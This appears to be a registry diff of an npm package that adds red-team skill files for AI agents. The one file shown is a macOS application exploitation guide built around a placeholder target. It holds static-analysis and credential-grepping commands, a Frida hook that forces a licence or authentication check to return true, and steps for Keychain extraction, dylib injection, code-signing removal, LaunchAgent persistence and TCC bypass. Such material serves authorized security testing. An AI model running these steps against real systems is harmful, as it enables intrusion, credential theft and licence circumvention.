rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,834 @@
1
+ ---
2
+ name: rt-exploit-desktop-mac
3
+ description: "macOS application security testing skill. Binary analysis with class-dump and otool, dynamic analysis with frida, code signing bypass, macOS Keychain extraction, LaunchAgent/LaunchDaemon persistence, TCC (Transparency Consent Control) bypass concepts, DYLD injection, sandbox escape concepts, and macOS-specific privilege escalation."
4
+ ---
5
+
6
+ # rt-exploit-desktop-mac — macOS Desktop Application Exploitation
7
+
8
+ ## 1. Overview and When to Use
9
+
10
+ This skill covers the full attack chain against macOS desktop applications — from initial binary reconnaissance through privilege escalation and persistence. macOS apps are frequently overlooked in penetration tests despite routinely exposing Objective-C class hierarchies, Keychain-stored credentials, injectable dynamic libraries, and TCC policy gaps.
11
+
12
+ **Use this skill when:**
13
+ - Scope includes a macOS fat client, thick client, or locally installed `.app` bundle
14
+ - The target is an Objective-C or Swift binary (Mach-O format)
15
+ - You need to extract credentials from the macOS Keychain or embedded plists
16
+ - The engagement allows host-based testing with a macOS or Kali Linux machine
17
+ - You are assessing an Electron, Flutter, or cross-platform app packaged for macOS
18
+ - Persistence via LaunchAgent/LaunchDaemon is within scope
19
+
20
+ **Does NOT cover:**
21
+ - iOS mobile application testing — use `rt-exploit-ios`
22
+ - Pure web browser exploitation — use `rt-exploit-web`
23
+ - Electron-specific logic bypass — use `rt-exploit-electron`
24
+ - Kernel exploitation or jailbreaking macOS — out of scope for standard engagements
25
+
26
+ ---
27
+
28
+ ## 2. Prerequisites and Tool Setup
29
+
30
+ ### Operator Machine Requirements
31
+
32
+ Most static analysis and tooling can be performed on Kali Linux. Dynamic analysis with Frida works on a physical or virtual macOS target. A macOS VM (Ventura/Sonoma) is strongly recommended for full dynamic testing.
33
+
34
+ ### Required Tools
35
+
36
+ | Tool | Purpose | Install |
37
+ |------|---------|---------|
38
+ | class-dump | Dump Objective-C class interfaces from Mach-O | `brew install class-dump` |
39
+ | otool | Mach-O binary inspection (built-in on macOS) | Xcode CLI tools |
40
+ | nm | Symbol table inspection | Xcode CLI tools / `binutils` on Kali |
41
+ | strings | Extract printable strings | Built-in |
42
+ | frida | Dynamic instrumentation framework | `pip3 install frida-tools` |
43
+ | objection | Frida wrapper for mobile/desktop | `pip3 install objection` |
44
+ | Hopper Disassembler | macOS-native disassembler/decompiler | https://www.hopperapp.com |
45
+ | Ghidra | Free NSA decompiler (cross-platform) | https://ghidra-sre.org |
46
+ | insert_dylib | DYLD injection into Mach-O binaries | https://github.com/Tyilo/insert_dylib |
47
+ | optool | Mach-O binary patching | https://github.com/alexzielenski/optool |
48
+ | macOS-Security-and-Privacy-Guide | Reference | https://github.com/drduh/macOS-Security-and-Privacy-Guide |
49
+ | KeychainCracker | Keychain brute-force | https://github.com/macmade/KeychainCracker |
50
+ | chainbreaker | Keychain forensic extraction | https://github.com/n0fate/chainbreaker |
51
+ | macOS_SUID_Enum | SUID/SGID enumeration scripts | https://github.com/NetSPI/MacOSX-PrivEsc |
52
+ | lsregister | Launch Services database inspection | `/System/Library/Frameworks/CoreServices.framework/...` |
53
+
54
+ ### Kali Linux Setup
55
+
56
+ ```bash
57
+ # Install Frida and tools
58
+ pip3 install frida-tools objection
59
+
60
+ # Install Ghidra dependencies (Java)
61
+ sudo apt install openjdk-17-jdk -y
62
+
63
+ # Download Ghidra
64
+ wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_11.1.2_build/ghidra_11.1.2_PUBLIC_20240709.zip
65
+ unzip ghidra_11.1.2_PUBLIC_20240709.zip
66
+
67
+ # Install binutils for cross-platform Mach-O inspection
68
+ sudo apt install binutils-multiarch -y
69
+
70
+ # Install radare2 for Mach-O binary analysis
71
+ sudo apt install radare2 -y
72
+
73
+ # Clone useful macOS exploitation tools
74
+ git clone https://github.com/n0fate/chainbreaker.git
75
+ git clone https://github.com/Tyilo/insert_dylib.git
76
+ git clone https://github.com/alexzielenski/optool.git
77
+ git clone https://github.com/NetSPI/MacOSX-PrivEsc.git
78
+ ```
79
+
80
+ ### macOS Target Setup (for dynamic analysis)
81
+
82
+ ```bash
83
+ # Install Homebrew (if not present)
84
+ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
85
+
86
+ # Install class-dump and otool
87
+ brew install class-dump
88
+ xcode-select --install
89
+
90
+ # Install Frida on target
91
+ pip3 install frida-tools
92
+
93
+ # Verify Frida works
94
+ frida-ps -l
95
+ ```
96
+
97
+ ---
98
+
99
+ ## 3. Skill Levels
100
+
101
+ ### BEGINNER — Passive Static Analysis
102
+ - Run `strings` against the app binary
103
+ - Use `otool -L` to list linked libraries
104
+ - Use `class-dump` to list all Objective-C classes and methods
105
+ - Browse the `.app` bundle for embedded plists and config files
106
+ - Check for hardcoded credentials using grep patterns
107
+
108
+ ### INTERMEDIATE — Active Binary Analysis
109
+ - Disassemble with Ghidra or Hopper to find authentication logic
110
+ - Use `nm` to enumerate exported symbols
111
+ - Attach Frida to a running process and trace method calls
112
+ - Extract Keychain items using `security` CLI or chainbreaker
113
+ - Identify missing DYLD library paths for injection candidates
114
+
115
+ ### ADVANCED — Dynamic Exploitation and Bypass
116
+ - Use `insert_dylib` or `optool` to inject malicious dylibs
117
+ - Bypass code signing with `codesign --remove-signature` and ad-hoc signing
118
+ - Hook authentication methods with Frida scripts to bypass login
119
+ - Install LaunchAgent persistence for operator callbacks
120
+ - Enumerate and exploit TCC policy gaps (microphone, camera, contacts, files)
121
+
122
+ ### EXPERT — Privilege Escalation and Sandbox Escape
123
+ - Exploit SUID/SGID binaries for local privilege escalation
124
+ - Abuse privileged helper tools installed by `.pkg` installers
125
+ - Exploit XPC service misconfigurations for privilege escalation
126
+ - Leverage `DYLD_INSERT_LIBRARIES` against setuid binaries (pre-Catalina)
127
+ - Enumerate and exploit `sudo` misconfigurations
128
+ - Chain LaunchDaemon installation with privesc for root persistence
129
+ - Exploit Transparency Consent Control (TCC) database manipulation
130
+
131
+ ---
132
+
133
+ ## 4. Step-by-Step Attack Workflow
134
+
135
+ ### Phase 1: Application Discovery and Bundle Inspection
136
+
137
+ ```bash
138
+ # Step 1: Locate the application bundle
139
+ find /Applications -name "*.app" -maxdepth 2 | head -20
140
+ ls -la /Applications/TargetApp.app/Contents/
141
+
142
+ # Step 2: Identify the main binary
143
+ ls -la /Applications/TargetApp.app/Contents/MacOS/
144
+ file /Applications/TargetApp.app/Contents/MacOS/TargetApp
145
+
146
+ # Step 3: Check if it is a universal binary (fat binary)
147
+ lipo -info /Applications/TargetApp.app/Contents/MacOS/TargetApp
148
+ # Output: Architectures in the fat file: arm64 x86_64
149
+
150
+ # Step 4: Inspect Info.plist for permissions and entitlements
151
+ cat /Applications/TargetApp.app/Contents/Info.plist
152
+ plutil -p /Applications/TargetApp.app/Contents/Info.plist
153
+
154
+ # Step 5: Extract entitlements (defines what the app is allowed to do)
155
+ codesign -d --entitlements :- /Applications/TargetApp.app/Contents/MacOS/TargetApp
156
+
157
+ # Step 6: Check code signing status
158
+ codesign -vvv /Applications/TargetApp.app
159
+ spctl --assess --verbose /Applications/TargetApp.app
160
+
161
+ # Step 7: List embedded frameworks and plugins
162
+ ls -la /Applications/TargetApp.app/Contents/Frameworks/
163
+ ls -la /Applications/TargetApp.app/Contents/PlugIns/ 2>/dev/null
164
+ ```
165
+
166
+ ### Phase 2: Static Binary Analysis
167
+
168
+ ```bash
169
+ # Step 8: Dump all Objective-C class interfaces
170
+ class-dump /Applications/TargetApp.app/Contents/MacOS/TargetApp > target_classes.txt
171
+ # Look for authentication, license, and credential-related classes
172
+ grep -i "auth\|login\|password\|license\|key\|token\|secret" target_classes.txt
173
+
174
+ # Step 9: List all linked dynamic libraries
175
+ otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp
176
+ # Note any weak-linked or missing libraries — candidates for DYLD injection
177
+
178
+ # Step 10: List all symbols (functions, methods)
179
+ nm -gU /Applications/TargetApp.app/Contents/MacOS/TargetApp | head -100
180
+ nm /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -i "auth\|crypt\|hash\|pass"
181
+
182
+ # Step 11: Extract Mach-O load commands (segments, sections)
183
+ otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -A4 "LC_RPATH"
184
+ # RPATH entries are critical for DYLD hijacking
185
+
186
+ # Step 12: Search for hardcoded strings
187
+ strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -iE "password|passwd|apikey|api_key|secret|token|username|http://"
188
+ strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "[A-Za-z0-9+/]{40,}={0,2}" # Base64 blobs
189
+
190
+ # Step 13: Inspect all embedded resource files
191
+ find /Applications/TargetApp.app -name "*.plist" -exec plutil -p {} \;
192
+ find /Applications/TargetApp.app -name "*.json" -exec cat {} \;
193
+ find /Applications/TargetApp.app -name "*.db" -o -name "*.sqlite" 2>/dev/null
194
+
195
+ # Step 14: Search for network endpoints in binary
196
+ strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "https?://[a-zA-Z0-9./_-]+"
197
+ strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
198
+ ```
199
+
200
+ ### Phase 3: Disassembly and Decompilation
201
+
202
+ ```bash
203
+ # Step 15: Open in Ghidra (GUI) for full decompilation
204
+ # Launch Ghidra, create new project, import the Mach-O binary
205
+ # Use CodeBrowser -> Window -> Decompiler to analyze target functions
206
+
207
+ # Step 16: Use radare2 for command-line disassembly (Kali-friendly)
208
+ r2 /Applications/TargetApp.app/Contents/MacOS/TargetApp
209
+ # Inside r2:
210
+ # aaa (analyze all)
211
+ # afl | grep auth (list functions matching auth)
212
+ # pdf @ sym.func_name (disassemble specific function)
213
+ # s sym.func_name && pdf (seek and print disassembly)
214
+
215
+ # Step 17: Extract specific architecture from fat binary for analysis
216
+ lipo /Applications/TargetApp.app/Contents/MacOS/TargetApp -thin x86_64 -output target_x86_64
217
+ lipo /Applications/TargetApp.app/Contents/MacOS/TargetApp -thin arm64 -output target_arm64
218
+
219
+ # Step 18: Identify Objective-C method implementations in radare2
220
+ r2 target_x86_64
221
+ # aaa; afl | grep -i "check\|verify\|valid\|auth"
222
+ ```
223
+
224
+ ### Phase 4: Dynamic Analysis with Frida
225
+
226
+ ```bash
227
+ # Step 19: List running processes
228
+ frida-ps -l # local processes
229
+ frida-ps # all processes including system
230
+
231
+ # Step 20: Spawn the target app and attach Frida
232
+ frida -l trace_methods.js TargetApp
233
+ # OR attach to already running process
234
+ frida -n TargetApp -l trace_methods.js
235
+
236
+ # Step 21: Trace all Objective-C method calls (noisy but useful)
237
+ frida-trace -m "-[* *]" -n TargetApp 2>&1 | grep -i "auth\|login\|password"
238
+
239
+ # Step 22: Trace specific class methods
240
+ frida-trace -m "-[AuthManager *]" -n TargetApp
241
+ frida-trace -m "-[LicenseChecker *]" -n TargetApp
242
+
243
+ # Step 23: Interactive Frida REPL — enumerate classes
244
+ frida -n TargetApp
245
+ # Inside Frida console:
246
+ # ObjC.classes // list all ObjC classes
247
+ # ObjC.classes.AuthManager.$ownMethods // list methods on specific class
248
+
249
+ # Step 24: Frida script to hook and bypass authentication
250
+ cat > bypass_auth.js << 'EOF'
251
+ // Hook a specific method and force it to return true
252
+ var AuthManager = ObjC.classes.AuthManager;
253
+ Interceptor.attach(AuthManager["- isLicenseValid"].implementation, {
254
+ onEnter: function(args) {
255
+ console.log("[*] isLicenseValid called");
256
+ },
257
+ onLeave: function(retval) {
258
+ console.log("[*] Original return value: " + retval);
259
+ retval.replace(1); // Force return YES/true
260
+ console.log("[*] Patched return value to: " + retval);
261
+ }
262
+ });
263
+ EOF
264
